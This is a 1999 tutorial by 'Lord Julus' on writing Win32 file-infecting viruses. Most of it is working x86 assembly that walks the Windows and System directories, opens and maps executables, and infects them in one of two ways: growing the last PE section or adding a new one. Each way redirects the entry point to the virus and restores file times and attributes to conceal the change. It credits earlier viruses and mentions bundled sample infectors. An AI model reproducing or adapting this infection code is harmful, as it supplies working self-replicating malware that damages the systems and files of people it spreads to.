Appending to the PE file
By Lord Julus
[1999]


Foreword

As normal as you could expect, after starting getting preocupied in Win32 programming, my first approach was on the 'getting into it' part, which came up in my article called 'Accessing Win32 APIS by scanning the import tables'. The second part, which comes after the info-pe project, is, of course, a guide to appending to the PE file. Hope you will all enjoy this stuff...

As a sidenote, I will use the same notation as in my last article:

              offset A<apiname>A = a pointer to the real api

For example:

              mov eax, [ebp+AExitProcessA]
              call eax

is the same as:

              call ExitProcess

I say this so you should understand that EBP is considered as a delta handle.

For many people the following article might look a little bit confusing. The fact is that if you know a little about programming in Win32, a little about the PE header layout and a little about the PE file layout itself, everything I wrote here suddenly becomes very easy.

Credits

The first and biggest credits go to Shaitan and Quantum. Most of the appending code here is based on original ideas from the Win32.Shaitan and Win32.Bizatch viruses. Due to some leaks in the api handling system the two viruses are harmless and will not spread, but the appending method stands high. I have improved myself the routines as much as I could and I sure hope you will understand it all...

Basics

Before going on the road of the asm I have to remind you again that this tutorial expects you to have at least a minimum knoledge on the PE header. If you don't, go and read a book about it... you're gonna need it! Also, I expect you know a little on the Win32 programming. If you don't, I guess there's no purpose to read this furthure (read my first Win32 article first)...

I will use the same method as my other article: I will explain the stuff, then I will present you a full code that does the trick with all the explanations between blocks of instructions.

Even if this article does not intend to teach you the ways of Win32, I feel compelled to give you the least I can think of. So here goes:

     .--------------.
     | The Glossary |
     |              |
     |------------------------------------------------------------------.
     |    PE                |  Portable Executable File                 |
     |    PE header         |  Information on the PE file               |
     |    Section           |  Part of the PE file                      |
     |                      |  (The PE file is made up from more        |
     |                      |   consecutive sections)                   |
     |    Section Headers   |  Information on the PE section            |
     |    Image Base        |  The address the PE file is loaded at     |
     |                      |  execution                                |
     |    VA                |  Virtual Address                          |
     |    RVA               |  Relative Virtual Address                 |
     |    Raw Data          |  The actual data in the section           |
     |    Size of Raw Data  |  The actual section data length           |
     |    Virtual Size      |  The virtual size of the section          |
     |                      |  (is diffrent from the size of raw data   |
     |                      |  because it is aligned to the section     |
     |                      |  alignment)                               |
     |    Alignment         |  A number to which the section or the     |
     |                      |  file is aligned to                       |
     |    EntrypointRVA     |  The RVA of the entrypoint (where the     |
     |                      |  real code starts)                        |
     '------------------------------------------------------------------'

As you are probably used to, this article is almost complete for the topic, but I will illustrate the ways of appending to a PE file from the point of view of a directory scanning virus. This means that the article will give you complete directions on how to look-up directories, find files and infect them. However, the routines for PE file appending themselves can be used also in other kinds of viruses, like, for example w95 TSRs.

So, let's set the goal: we want to open a Portable Exe (PE), append some code to it and redirect the initial instruction point (IP) to it, so that after the execution of our code, it can jump to the original code and run it with no problems.

Here are the two ways I will present here:

  1. Increasing the size of the last section
  2. Adding a new section

But first, let's check the things common to both methods.

Common area

Here I will describe things which are common for both infection types. First let me say that I will fully describe the entire process of locating files and infecting them.

Here is the most common approach: your virus has found the kernel, has located all the necesary apis and now, before returning to the original host's code, it has to do the infection:

      call Infect_directories           ; Infect the directories...
                                        ;
getout:                                 ;
      cmp ebp, 0                        ; first generation ?
      je exit_now                       ;
      mov eax, [ebp+offset oldip]       ; restore old IP
      add eax, imagebase                ; align to memory
      jmp eax                           ; and run host...
                                        ;
exit_now:                               ;
      push 0                            ;
      call ExitProcess                  ;

As you can see, the returning to the host is very easy! You simply retrieve the saved value from oldip, you add the image base where the host is loaded and you make a JMP to it...

Changing directories

Let's take a look at the simplest way to scan the directories in order to locate PE files. Here are the apis we shall use:

       GetWindowsDirectoryA
       GetSystemDirectoryA
       GetCurrentDirectoryA
       SetCurrentDirectoryA

The first two functions expect this:

              push <size>
              push <offset to empty buffer>

The <size> is the maximum length expected for the returned string. The buffer is a space where the name of the directory will be returned.

For the third function (GetCurrentDirectoryA), even if it does exactly the same type of job as the other two, it expects the parameters in the reverse order:

              push <offset to empty buffer>
              push <size>

Usualy <size> equals 128h.

The SetCurrentDirectory function expects on the stack a pointer to the new directory:

              push <offset new directory>

I will not discuss the error messages here.

Let's look at a common way of locating and changing to the Windows and the System directories and then returning to the original directory:

Infect_directories proc near
       push  128                          ; Get Windows directory
       lea eax, [ebp+offset windir]       ;
       push eax                           ;
       mov eax, [ebp+offset AGetWindowsDirectoryA]
       call eax                           ;
                                          ;
       push  128                          ; Get System directory
       lea eax, [ebp+offset sysdir]       ;
       push eax                           ;
       mov eax, [ebp+offset AGetSystemDirectoryA]
       call eax                           ;
                                          ;
       lea eax, [ebp+offset crtdir]       ; Get Current directory
       push eax                           ;
       push 128                           ;
       mov eax, [ebp+offset AGetCurrentDirectoryA]
       call eax                           ;
                                          ;
       lea eax, [ebp+offset windir]       ;  Change to Windows directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;

So, we are in the Windows directory now... Let's set a level of infection and call the directory infection routine:

       mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
       call infect_current_dir            ;
                                          ;
       lea eax, [ebp+offset sysdir]       ; Change to System directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;

The same thing goes for the System directory:

       mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
       call infect_current_dir            ;

Now let's return to the original current directory:

       lea eax, [ebp+offset crtdir]       ; Change back to current directory
       push eax                           ;
       mov eax, [ebp+offset ASetCurrentDirectoryA]
       call eax                           ;
       ret                                ;
Infect_directories endp                   ;

Here are the definitions used in the above procedure:

       windir db 128h dup(0)             ; Windows directory
       sysdir db 128h dup(0)             ; System directory
       crtdir db 128h dup(0)             ; Current directory

Ok, now we know how to change directories. The above thing is the least your virus should do. In order to make a more sophisticated virus, you need to make a smart attack. This includes droping over very used files, like CLIPBRD.EXE, CALC.EXE, MSHEARTS.EXE, etc., doing back directory scan, using smart marks in the registry... But this will be all covered in the next article (called 'Playing w/ the Registry', probably)...

Finding Files

This procedure (infect_current_dir) is called whenever a directory needs to be infected. The number of files searched in the current directory is equal to the 'infections' variable set before calling this procedure.

Let's see what apis shall we use in this stage:

       FindFirstFileA
       FindNextFileA

The FindFirstFileA expects this:

              push <offset search_record>
              push <offset search_match>

The search record is an empty buffer which will be filled with the appropiate values if the searched file is found.

The search_match is a pointer to a string, like this for example:

              exestr db "*.exe",0

Using this, the FindFirst api will search for any file with the EXE extension.

The search record has a special layout. Here is how you should define it:

 max_path EQU 260                                  ; max length of filename
                                                   ;
 filetime                        STRUC             ; filetime structure
         FT_dwLowDateTime        DD ?              ;
         FT_dwHighDateTime       DD ?              ;
 filetime                        ENDS              ;
                                                   ;
 win32_find_data                 STRUC             ;
         FileAttributes          DD ?              ; attributes
         CreationTime            filetime ?        ; time of creation
         LastAccessTime          filetime ?        ; last access time
         LastWriteTime           filetime ?        ; last modificationm
         FileSizeHigh            DD ?              ; filesize
         FileSizeLow             DD ?              ; -"-
         Reserved0               DD ?              ;
         Reserved1               DD ?              ;
         FileName                DB max_path DUP (?) ; long filename
         AlternateFileName       DB 13 DUP (?)     ; short filename
                                 DB 3 DUP (?)      ; dword padding
 win32_find_data                 ENDS              ;
                                                   ;
 search    win32_find_data ?                       ; our search area

If the function succeds, a file handle is returned in EAX and by all means you have to save it! And that is needed because the next function, FindNextFileA needs it. Before calling it you should do this:

              push <offset search_record>
              push handle

If no file is found, EAX=0h, otherwise a new handle is put in EAX and the search record is filled with the new values.

Ok, now as you know how it works, let's see the full example:

infect_current_dir proc near              ; This infects the current dir
      lea edi, [ebp+offset search]        ; point to Search Record
      lea eax, [ebp+offset search]        ; "    "      "      "
      push eax                            ; push the address of the s_record
      lea eax, [ebp+offset exestr]        ;
      push eax                            ; push the address of file mask
      mov eax, [ebp+offset AFindFirstFileAA]
      call eax                            ; find first matching file

If no file was found, EAX=0FFFFFFFFh, otherwise EAX=new handle...

      inc eax                             ; check for EAX = -1
      jz no_files                         ;
      dec eax                             ; restore eax
      push eax                            ; save handle
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ; ECX = filesize

I used edi. because edi pointed to the search record structure. Now, esi points to the file name and ecx holds the file's size. It's all that we need to infect it...

      Call Infect_File                    ; infect file...

A description of this procedure follows below. If the file was infected correctly, the carry is cleared otherwise it's set. If it's clear, then we decrease the number of already done infections.

      jc Another_file                     ;
      dec dword ptr [ebp+offset infections] ; decrement infection count

Here we are about to start the FindNext routine:

Another_file:                             ;
      push edi                            ; save search record address
      lea edi, [edi.FileName]             ; We have to clean up the area
      mov ecx, 13d                        ; the new filename will appear on,
      mov al, 0                           ; otherwise shit remains before the
      rep stosb                           ; extension...
      pop edi                             ; restore search record address
      pop eax                             ; restore file handle
      push eax                            ; and save it again
      push edi                            ; push find zone
      push eax                            ; push handle
      mov eax, [ebp+offset AFindNextFileAA]
      call eax                            ; and find the next matching file
                                          ;
      test eax, eax                       ; no more files ?
      jz All_done                         ;
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ;
      Call Infect_File                    ; infect file...
      jc failinfection                    ;
      dec dword ptr [ebp+infections]      ; decrement infection count
                                          ;
failinfection:                            ;
      cmp dword ptr [ebp+infections], 0   ; done ?
      jne Another_file                    ;
                                          ;
All_done:                                 ;
      pop eax                             ;
no_files:                                 ;
      ret                                 ;
infect_current_dir endp                   ;

So, basically I guess you understood this. It's no big philosophy. Just search for the first matching file (exe, dll, etc...) and call the infecting procedure, then try to locate another file, all until no more files are to be found or the maximum number of infections was met.

Now, let's see what can we do after we located the file we wanted in the current directory. Remember that ESI points to the file name and ECX holds the file's length...

Opening and mapping the file

Under Win32, it is extremly easy to manipulate files. The method used is the mapping. By mapping you should understand this: a memory area is allocated and the entire file is mapped there. This means that you work directly into memory and everything that you do there is reflected in the physical file also. All the relative addresses inside the file start from the address of the map. Here you must be very attentive not to mix the file handle with the map handle.

Let's start:

Infect_File Proc Near
      pushad                                 ; save all registers
                                             ;
      mov dword ptr [ebp+newfilesize], ecx   ; save file size
      mov word ptr [ebp+infectionflag], 0    ; reset infection flag
      add ecx, viruslen                      ; ecx = victim filesize + virus
      add ecx, 1000h                         ; + 1000h
      mov [ebp+offset memory], ecx           ; this will give us the memory
                                             ; to map...

When mapping a file we need an amount of memory equal to the original file plus the virus length which will be appended, plus some extra work space. If you don't allocate enough memory for the map, when trying to write over the boundaries of the map, the virus will generate an invalid fault page.

Let's check the apis we use here more detailed:

------------------------------------------------------------------------------

     .--------------------.
   .-| GetFileAttributesA |
   | '--------------------'
   |--------> expects:      push <offset filename>
   |
   '--------< returns:      EAX = file attributes

------------------------------------------------------------------------------

     .--------------------.
   .-| SetFileAttributesA |
   | '--------------------'
   |--------> expects:      push <new attributes>
   |                        push <offset filename>
   |
   '--------< returns:      nothing

The used value for <new attributes> is 80h, meaning 'any file'.

------------------------------------------------------------------------------

     .-------------.
   .-| CreateFileA |
   | '-------------'
   |
   |--------> expects:      push <file template handle>
   |                        push <file attributes>
   |                        push <open type>
   |                        push <security option>
   |                        push <sharing mode>
   |                        push <access mode>
   |                        push <offset filename>
   |
   '--------< returns:      EAX = file handle if success
                            EAX = 0 if failed

As much as the name sounds like it only creates new files, this api is very useful and can also be used to open files. Here are the descriptions for the arguments:

       <file template handle> MUST be 0 for Windows95!
       <file attributes> should be 0 (any file)
       <open type> should be 3 (open existing file)
       <security option> should be 0 (default)
       <sharing mode> should be 1 (file shared for read)
       <access mode> should be (80000000h + 40000000h) (generic read/write)

------------------------------------------------------------------------------

     .--------------.
   .-| GetFileTimeA |
   | '--------------'
   |--------< expects:      push <offset creation_time>
   |                        push <offset last_write_time>
   |                        push <offset last_access_time>
   |                        push <file handle>
   |
   '--------< returns:      at the specified offsets the 3 types of time

------------------------------------------------------------------------------

     .--------------.
   .-| GetFileSizeA |
   | '--------------'
   |--------> expects:      push <offset filesize>
   |                        push <filehandle>
   |
   '--------< returns:      filesize at the specified offset

Warning: you need to have a dword as the filesize, but when you push the offset you push the offset of it's high word.

------------------------------------------------------------------------------

     .--------------------.
   .-| CreateFileMappingA |
   | '--------------------'
   |--------> expects:      push <filename handle>
   |                        push <maximum size>
   |                        push <minimum size>
   |                        push <page access rights>
   |                        push <security attributes>
   |                        push <file handle>
   |
   '--------< returns:      EAX = map handle if success
                            EAX = 0 if failed

       <filename handle> must be 0
       <maximum size> is the 'memory' value we computed earlier
       <minimum size> is 0
       <page access rights> should be 4 (page read/write)
       <security attributes> should be 0 (default)
       <file handle> handle to an opened file (the file to map)

So, basically this allocates a memory area equal to 'memory', serving to be filled with a file, job done by the next api:

------------------------------------------------------------------------------

     .---------------.
   .-| MapViewOfFile |
   | '---------------'
   |--------> expects:      push <amount>
   |                        push <file offset high>
   |                        push <file offset low>
   |                        push <map access mode>
   |                        push <map handle>
   |
   '--------< returns:      EAX = the address of the map if success
                            EAX = 0 if failed

       <amount> equals the 'memory'
       <file offset high> and
       <file offset low> mark from where to map. Should be 0
       <map access mode> should be 2 (file map write)
       <map handle> the handle returned by CreateFileMapping

------------------------------------------------------------------------------

     .-----------------.
   .-| UnmapViewOfFile |
   | '-----------------'
   |--------> expects:      push <map address>
   |
   '--------< returns:      nothing

This frees the memory of the map. The map address is the address returned by MapViewOfFile.

       
------------------------------------------------------------------------------

     .-------------.
   .-| CloseHandle |
   | '-------------'
   |--------> expects:      push <handle>
   |
   '--------< returns:      nothing

The handle can be anykind of handle. Therefor, we use this to close the map handle first (returned by the CreateFileMapping) and then for the file itself (the file handle returned by CreateFileA).

------------------------------------------------------------------------------

     .----------------.
   .-| SetFilePointer |
   | '----------------'
   |--------> expects:      push <how to move>
   |                        push <distance to move high>
   |                        push <distance to move>
   |                        push <file handle>
   |
   '--------< returns:      nothing

       <how to move> is 0 (from beginning of file)
       <distance to move high> should be set to 0
       <distance to move> is the length of file
       <file handle> is the file handle

Actually, how I gave you the parameters, they are set as to move the file pointer to the end of file. The distanceto move high is actually a pointer to a value. If it's set to zero this function can only operate on files with the length 2^32.

------------------------------------------------------------------------------

     .--------------.
   .-| SetEndOfFile |
   | '--------------'
   |--------> expects:      push <file handle>
   |
   '--------< returns:      nothing

Sets the EOF to the current position of the pointer. Used to truncate files.

------------------------------------------------------------------------------

     .-------------.
   .-| SetFileTime |
   | '-------------'
   |--------> expects:      push <offset creation_time>
   |                        push <offset last_write_time>
   |                        push <offset last_access_time>
   |
   '--------< returns:      nothing

------------------------------------------------------------------------------

I know that maybe reading the description of the apis like this might be a little confunsing, but as we will look over the code itself you will understand better. Then you may look back on the description and understand better. What I forgot to say is that all of the above apis return 0 in EAX if an error occured and CF is set, so it's very easy to check for errors.

Ok, now let's go on with the code:

* First let's save the original attributes:

      mov [ebp+offset fileofs], esi          ; esi = pointer to filename
      push esi                               ; save it
      mov eax, [ebp+AGetFileAttributesA]     ;
      call eax                               ; Get the file attributes
      cmp eax, 0                             ;
      mov [ebp+fileattributes], eax          ; save them

* Now let's set the 'any file' attribute:

      push 80h                               ;
      push esi                               ;
      mov eax, [ebp+offset ASetFileAttributesA]
      call eax                               ; set them to normal
                                             ;

* Now let's open the file

      push 0                                 ; file template
      push 0                                 ; file attributes
      push 3                                 ; OPEN EXISTING File
      push 0                                 ; Security option = default
      push 1                                 ; File share for read
      push 80000000h or 40000000h            ; General write and read
      push esi                               ; pointer to filename
      mov eax, [ebp+offset ACreateFileA]     ;
      Call eax                               ; Call Api
                                             ; EAX = file handle
      mov [ebp+offset filehandle], eax       ;
      cmp eax, -1                            ;
      je infection_error                     ; can't open file ?!?

* Let's save file's creation, last write, last access time

      mov ebx, offset ftcreation             ; save all 3 types of time
      add ebx, ebp                           ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push eax                               ;
      mov ebx, [ebp+AGetFileTimeA]           ;
      call ebx                               ; get'em

* Now let's get the filesize and save it for later:

      push 0                                 ; save the filesize for later
      push dword ptr [ebp+offset filehandle] ;
      mov eax, [ebp+AGetFileSizeA]           ;
      call eax                               ;
      mov dword ptr [ebp+offset newfilesize], eax

* Let's go on and create the file mapping for the file:

      push 0                                 ; filename handle = NULL
      push dword ptr [ebp+offset memory]     ; max size
      push 0                                 ; min size (no need)
      push 4                                 ; Page read & write
      push 0                                 ; security attributes
      push dword ptr [ebp+offset filehandle]
      mov eax, [ebp+offset ACreateFileMappingA]
      call eax                               ; File map!
                                             ; Eax = new map handle
      mov [ebp+offset maphandle], eax        ;
      cmp eax, 0                             ;
      je close_file                          ; can't map file ?!?

* If we have the map, let's map the view of the file:

      push dword ptr [ebp+offset memory]     ; bytes to map
      push 0                                 ; file offset
      push 0                                 ; "  " "    "
      push 2                                 ; File Map Write Mode
      push eax                               ; File Map Handle
      mov eax, [ebp+offset AMapViewOfFileA]  ; Call API
      call eax                               ;
                                             ;
      cmp eax, 0                             ;
      je close_map                           ; can't map view of file ?!?
      mov esi, eax                           ; ESI = base of map...
      mov [ebp+offset mapaddress], esi       ;

We succeded! The file is opened and we can work on it knowing that it is mapped at the ESI address. First let's check if it is EXE and if it is a PE file:

      cmp word ptr [esi], 'ZM'               ; Exe file ?
      jne Unmap_view                         ;
      cmp word ptr [esi+38h], 'xx'           ; Already infected ?
      jne ok_go                              ;
      mov word ptr [ebp+infectionflag], 0FFh ; mark it...
      jmp Unmap_view                         ;
                                             ;
ok_go:                                       ;
      mov ebx, dword ptr [esi+3ch]           ;
      cmp word ptr [esi+ebx], 'EP'           ; Portable Exe ?
      jne Unmap_view                         ;

If the file is not EXE, is already infected or is not a PE file, we proceed to unmap the view of file, otherwise we continue:

      add esi, ebx                           ; ESI points to PE header
      mov [ebp+offset PEheader], esi         ;
      mov eax, [esi+28h]                     ; save IP of file
      mov [ebp+offset oldip], eax            ;

The oldip value is the one we save and use for when we want to return to the original host.

      mov eax, [esi+3ch]                     ; save file alignement
      mov [ebp+offset filealign], eax        ;

When we append the virus to the PE file we increase it's size. But the file alignment must be preserved. The file alignment is a number which divides the file size exactly (filesize mod filealign = 0), or at least I think it should, but it seems the OS doesn't give much shit about it...

Starting this place, you may choose the first method, or the second method:

1. Increasing the last section

From here on, we must go specific. The following is the description of the first method of increasing the last section's body.

Here your knowledge of the PE header is really needed. First we want to locate the last section.

      mov ebx, [esi+74h]                     ; No. of directories entries
      shl ebx, 3                             ; * 8 (size)
      xor eax, eax                           ;
      mov ax, word ptr [esi+6h]              ; no. of sections
      dec eax                                ; we look for the last's ending
      mov ecx, 28h                           ; size of sections' header
      mul ecx                                ; EAX = ECX * EAX
      add esi, 78h                           ;
      add esi, ebx                           ;
      add esi, eax                           ; ESI = Pointer to the last
                                             ; section header

The formula used is this:

      Address of the last section's header =
      (Directory Table) +
      (No. of Directories)*(Directory Size) +
      (No. of Sections - 1)*(Section header size)

      The Directory size is 8.
      The Section Header size is 28h.
      The pointer to the Directory Table is 78h.

So, after the calculations, ESI points to the last section's header. Let's start modifying it:

      or dword ptr [esi+24h],00000020h       ; Set [CWE] flags: code,
      or dword ptr [esi+24h],20000000h       ;                  executable,
      or dword ptr [esi+24h],80000000h       ;                  writable

The flags are very important. They tell the loader that the section now has executable code and it is writable.

      mov eax, [esi+10h]                     ; save size of raw data in
      mov [ebp+offset oldrawsize], eax       ; this section
      add dword ptr [esi+8h], viruslen       ; and increase virtual size

The size of raw data is the actual size of the data in the section. The virtual size is the one we must increase with our virus size. Now, after the increasing, let's check how much did we mess the file align. To do that we divide the new size to the filealign value and we get as a reminder the number of bytes to pad:

      mov eax, [esi+8h]                      ; Get new size in EAX
      mov ecx, [ebp+offset filealign]        ; ECX = File alignment
      div ecx                                ; Get remainder in EDX
      mov ecx, [ebp+offset filealign]        ; ECX = File alignment
      sub ecx, edx                           ; No. of bytes to pad...
      mov [esi+10h], ecx                     ; "     "       "       "

Now size of raw data = no.of bytes to pad

      mov eax, [esi+8h]                      ; Get current VirtualSize
      add eax, [esi+10h]                     ; EAX = SizeOfRawdata padded
      mov [esi+10h], eax                     ; Set new SizeOfRawdata

Now size of raw data = old virtual size + no. of bytes to pad

      mov [ebp+offset newrawsize], eax       ; Also, save it...

The virus will be at the end of the section. In order to find it's address we have the formula:

       VirtualAddress + VirtualSize - VirusLength = VirusStart

      mov eax, [esi+0ch]                     ; Get VirtualAddress
      add eax, [esi+8h]                      ; Add VirtualSize
      sub eax, viruslen                      ; Deduct size of virus
      mov [ebp+offset newip], eax            ; EAX = New EIP! Save it...

Here we compute with how much did we increase the size of raw data:

      mov eax, [ebp+offset oldrawsize]       ; Original SizeOfRawdata
      mov ebx, [ebp+offset newrawsize]       ; New SizeOfRawdata
      sub ebx, eax                           ; Increase in size
      mov [ebp+offset incrawsize], ebx       ; Save increase value...

Compute the new file size:

      mov eax, [esi+14h]                     ; File offset of sec's rawdata
      add eax, [ebp+offset newrawsize]       ; Add size of new rawdata
      mov [ebp+offset newfilesize], eax      ; EAX = New filesize! Save...

Now prepare to copy the virus to the host. The formulas are:

      Address to copy to = Map Address +
                           Last Section Address +
                           Last Section Virtual Size -
                           Virus Length

      Address to copy from = the start

      mov eax, [esi+14h]                     ; File offset of sec's rawdata
      add eax, [esi+8h]                      ; Add VirtualSize of section
      sub eax, viruslen                      ; Deduct virus length from it
      add eax, [ebp+offset mapaddress]       ; align in memory to map address
                                             ;
      mov edi, eax                           ; Location to copy to...
      mov esi, offset start                  ; Location to copy from...
      add esi, ebp                           ; Adjust with delta pointer
      mov ecx, viruslen                      ; No. of bytes to copy
      rep movsb                              ; Copy all the bytes!

Now, let's alter furthur the PE header, by marking the new IP, increasing the total size of the files' image with the increasing of the last section:

      mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
      mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
      mov [esi+28h], eax                     ; Write it to the PE header
      mov eax, [ebp+offset incrawsize]       ; Get inc. size of last section
      add [esi+50h], eax                     ; Add it to SizeOfImage

Now, let's mark the file as infected:

      mov esi, [ebp+offset mapaddress]       ; mark file as infected
      mov word ptr [esi+38h], 'xx'           ;

That's it !!!

That's all about appending to the last section. Let's make a quick review of what we did and how:

That's all ! Now all you have to do is read the closing procedures...

2. Adding a new section

Now, let's go on with the second method. Let's keep in mind that ESI was pointing to the PE header, and let me tell you that as weare going to create a new section, we need to also retrieve the section align, like this:

       mov eax, [esi+38h]
       mov dword ptr [ebp + sectionalign], eax

Here is the layout used for the new section. The name field must be 8 characters long and you may put anything you want in there. Take peak to some common files. You may also set this to your virus name, for example...

        newsection:                       ;
        nsname           db ".section"    ; section name
        nsvirtualsize    dd 0             ; Virtual Size
        nsRVA            dd 0             ; Relative Virtual Size
        nsphysicalsize   dd 0             ; = Size Of Raw Data
        nsphysicaloffset dd 0             ; = Pointer to Size of Raw Data
        nsreserved       dd 0,0,0         ; reserved
        nsflags db 40h,0,0,0c0h           ; = Code, Executable, Writable

* Let's locate the end of the last section's header:

      mov ebx, [esi+74h]                     ; No. of directories entries
      shl ebx, 3                             ; * 8 (size)
      xor eax, eax                           ;
      mov ax, word ptr [esi+6h]              ; no. of sections
      mov ecx, 28h                           ; size of sections' header
      mul ecx                                ; EAX = ECX * EBX
      add esi, 78h                           ;
      add esi, ebx                           ;
      add esi, eax                           ; ESI = Pointer to the end of
                                             ; the last section
      lea edi, [ebp + offset newsection]     ;
      xchg edi, esi                          ;

Now, EDI points to the end of the last section and ESI points to the new section layout. Let's start calculating the new values for this section header. The values are calculated using the last sections' values and they are rounded accordingly to the section alignment:

* Calculate the Relative Virtual Address (RVA) of the new section:

      mov eax, [edi-5*8+8d]                           ; get last sect.'s RVA
      add eax, [edi-5*8+12d]                          ; + last sect.'s size
      mov ecx, dword ptr [ebp + offset sectionalign]  ; take section align
      xor edx,edx                                     ;
      div ecx                                         ;
      inc eax                                         ; and make sure RVA
      mul ecx                                         ; is aligned to it
      mov dword ptr [ebp + offset nsRVA], eax         ; Got it !

* Calculate the physical size of the new section:

      mov ecx, dword ptr [ebp + offset filealign]     ; take file alignment
      mov eax,end-start                               ; eax = virus size
      xor edx,edx                                     ;
      div ecx                                         ;
      inc eax                                         ; make sure the new
      mul ecx                                         ; section respects file
      mov dword ptr [ebp + offset nsphysicalsize],eax ; alignment

* Calculate the virtual size of the new section:

      mov ecx, dword ptr [ebp + offset sectionalign]  ; we must align again
      mov eax, end - start + 1000h                    ; virus size + work
      xor edx, edx                                    ; space
      div ecx                                         ;
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset nsvirtualsize],eax  ;

* Calculate the physical offset of the new section:

      mov eax,[edi-5*8+20d]                           ; The last section's
      add eax,[edi-5*8+16d]                           ; pointer to raw data
      mov ecx,dword ptr [ebp + offset filealign]      ; + it's size of raw
      xor edx,edx                                     ; data, aligned to the
      div ecx                                         ; file alignment
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset nsphysicaloffset],eax

* Update the image size (the size in memory) of the file:

      mov eax, end-start+1000h                        ; virus size + work
      add eax,dword ptr [ebp + offset imagesize]      ; space
      mov ecx,[ebp + offset sectionalign]             ; and, of course,
      xor edx,edx                                     ; aligned to the
      div ecx                                         ; section align
      inc eax                                         ;
      mul ecx                                         ;
      mov dword ptr [ebp + offset imagesize],eax      ; save it in PE header

* Copy the new section after the last section header:

      mov ecx,10
      rep movsd

You may ask why I can write directly, without making space for the new section, by lowering everything downwards? That's easy: there is always space for at least one new section header.

* Now, let's save the new IP, and make it point to the virus:

      mov eax, dword ptr [ebp + offset nsRVA]
      mov dword ptr [ebp + newip], eax

* Finally, let's copy our virus to the end of the file:

      mov edi, [ebp + offset nsphysicaloffset]   ; to the Raw Data Pointer
      add edi, [ebp + offset mapaddress]         ; (we are in a map!!)
      lea esi, [ebp + start]                     ; from the start
      mov ecx, (end-start)/4+2                   ; virus length
      cld                                        ; clear direction flag
      rep movsd                                  ; and copy

Why +2? Just to make sure you don't loose the last bytes by dividing with 4.

* And now, update the final changes in the PE header:

      mov esi, [ebp+offset PEheader]         ; ESI = Addr. of PE header
      inc word ptr [esi+06h]                 ; increment number of sections
      mov eax, [ebp+offset newip]            ; Get value of new EIP in EAX
      mov [esi+28h], eax                     ; Write it to the PE header
      mov eax, end-start                     ; compute new file size
      add [ebp + newfilesize], eax           ; this is needed in closing

      mov esi, [ebp+offset mapaddress]       ; mark file as infected
      mov word ptr [esi+38h], 'xx'           ;

That's it !!! Even more easy than the first method... Now the original file has a new section which contains code and which is actually the virus itself, which will also represent the starting IP. After the execution of the virus, the control in returned to the host.

So, let's review:

After mastering both of the appending methods, let's move over to the final step, the closing of the file.

Closing the file

A part of the apis used here were described in the File Opening section.

* The first thing is to unmap the view of the file:

Unmap_view:                                  ; first unmap the view
      push dword ptr [ebp+offset mapaddress] ;
      mov eax, [ebp+AUnmapViewOfFileA]       ;
      Call eax                               ;

* The next step is to close the map handle:

close_map:                                   ;
      push dword ptr [ebp+offset maphandle]  ; then close the map handle
      mov eax, [ebp+ACloseHandleA]           ;
      call eax                               ;

* Then we start closing the file. First, we must restore it's time:

close_file:                                  ; then close file handle,
      mov ebx, offset ftcreation             ; but first restore it's
      add ebx, ebp                           ; original date and time
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push dword ptr [ebp+offset filehandle] ;
      mov ebx, [ebp+ASetFileTimeA]           ;
      call ebx                               ;

In order to properly close the file we must set it's EOF at the exact end of file. So, first we move the pointer to the end and set the EOF:

      push 0                                 ; first we must set the file
      push 0                                 ; pointer at the end of file
      push dword ptr [ebp+offset newfilesize]; (that is the beginning +
      push dword ptr [ebp+offset filehandle] ;  new file size)
      mov eax, [ebp+offset ASetFilePointerA] ;
      call eax                               ;
                                             ;
      push dword ptr [ebp+offset filehandle] ; ...and then mark the end of
      mov eax, [ebp+offset ASetEndOfFileA]   ; file...
      call eax                               ;

* And finaly we close the file:

      push dword ptr [ebp+offset filehandle] ; now, close !
      mov eax, [ebp+ACloseHandleA]           ;
      call eax                               ;

* Then we must restore File Attributes:

      push dword ptr [ebp+offset fileattributes]
      push dword ptr [ebp+offset fileofs]
      mov eax, [ebp+offset ASetFileAttributesA]
      call eax                               ;
      jmp infection_succesful                ;
                                             ;
infection_error:                             ;
      stc                                    ; CF set if an error occured
      jmp outahere                           ; or file was already infected
                                             ;
infection_succesful:                         ;
      cmp word ptr [ebp+offset infectionflag], 0FFh
      je infection_error                     ;
      clc                                    ; if all is ok, CF is reset
                                             ;
outahere:                                    ;
      popad                                  ; restore registers
      ret                                    ;
Infect_File Endp                             ;

So, here ends the infect_file procedure. Very quick and easy.

In this article's package you should find two examples of win32 viruses:

They are simple, parasitic infectors for the PE-file, infecting at run-time any file in the current directory named GOAT*.EXE. In the package I have also included 5 GOAT PE files which you can use to check the viriis. The viruses are not encrypted in any way, do not have anykind of payload and they were created simply to demonstrate 2 ways of appending to the PE file.

This being said, I wish good luck to everybody and, remember...

...there is always something out there to learn

Please note that I added the Section Insertion method in the Win32 Programming addendum article.

Lord Julus - 1999